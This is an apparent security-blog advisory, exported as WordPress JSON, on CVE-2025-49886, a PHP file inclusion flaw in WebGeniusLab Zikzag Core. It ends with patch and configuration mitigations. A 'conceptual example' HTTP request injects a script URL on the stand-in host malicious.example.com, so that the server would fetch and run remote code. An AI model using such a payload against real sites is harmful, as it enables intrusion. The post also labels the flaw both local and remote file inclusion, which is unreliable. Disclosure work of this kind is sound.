{"id":57655,"date":"2025-07-05T22:35:32","date_gmt":"2025-07-05T22:35:32","guid":{"rendered":""},"modified":"2025-10-03T12:32:33","modified_gmt":"2025-10-03T18:32:33","slug":"cve-2025-49886-critical-php-local-file-inclusion-vulnerability-in-webgeniuslab-zikzag-core","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49886-critical-php-local-file-inclusion-vulnerability-in-webgeniuslab-zikzag-core\/","title":{"rendered":"<strong>CVE-2025-49886: Critical PHP Local File Inclusion Vulnerability in WebGeniusLab Zikzag Core<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered and exploited regularly. CVE-2025-49886 is one such vulnerability that affects WebGeniusLab&#8217;s Zikzag Core, a popular PHP application. This critical flaw, referred to as a PHP Remote File Inclusion vulnerability, exposes the affected <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64229\">systems to potential<\/a> compromise and data leakage. Its severity underscores the importance of maintaining updated systems and implementing robust <a href=\"https:\/\/www.ameeba.com\/blog\/introducing-the-ameeba-cybersecurity-group-chat\/\"  data-wpil-monitor-id=\"88425\">cybersecurity<\/a> measures.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49886<br \/>\nSeverity: High (8.1 CVSS Severity Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64684\">Potential system compromise and data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3715727339\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WebGeniusLab Zikzag Core | n\/a through 1.4.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>CVE-2025-49886 is a PHP Local File Inclusion (LFI) <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64906\">vulnerability that stems from improper<\/a> control of filename for Include\/Require statement in the PHP program. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7766-xml-external-entity-attack-on-lantronix-provisioning-manager\/\"  data-wpil-monitor-id=\"68278\">attacker can leverage this flaw to include files from external<\/a> servers, leading to the execution of malicious scripts. The flaw grants the attacker the potential to execute any PHP code of their choice on the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-41691-sql-injection-vulnerability-in-os4ed-open-source-information-system-community\/\"  data-wpil-monitor-id=\"64200\">vulnerable system<\/a>, leading to system compromise and possible data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2886800364\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following conceptual example demonstrates how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"88426\">attacker might exploit<\/a> this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious.example.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerablewebsite.com<\/code><\/pre>\n<p>In this example, the attacker injects a link to a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65481\">PHP script<\/a> (`http:\/\/malicious.example.com\/malicious_script.txt`) in the `page` parameter. The server processes the request and includes the malicious script from the external server, leading to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64683\">execution of the malicious code<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor-provided patch for Zikzag Core as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It&#8217;s also recommended to disable the inclusion of remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6513-brain2-database-configuration-file-access-vulnerability-in-standard-windows-users\/\"  data-wpil-monitor-id=\"64509\">files in the PHP configuration<\/a> by setting `allow_url_include` to `Off`.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered and exploited regularly. CVE-2025-49886 is one such vulnerability that affects WebGeniusLab&#8217;s Zikzag Core, a popular PHP application. This critical flaw, referred to as a PHP Remote File Inclusion vulnerability, exposes the affected systems to potential compromise and data leakage. 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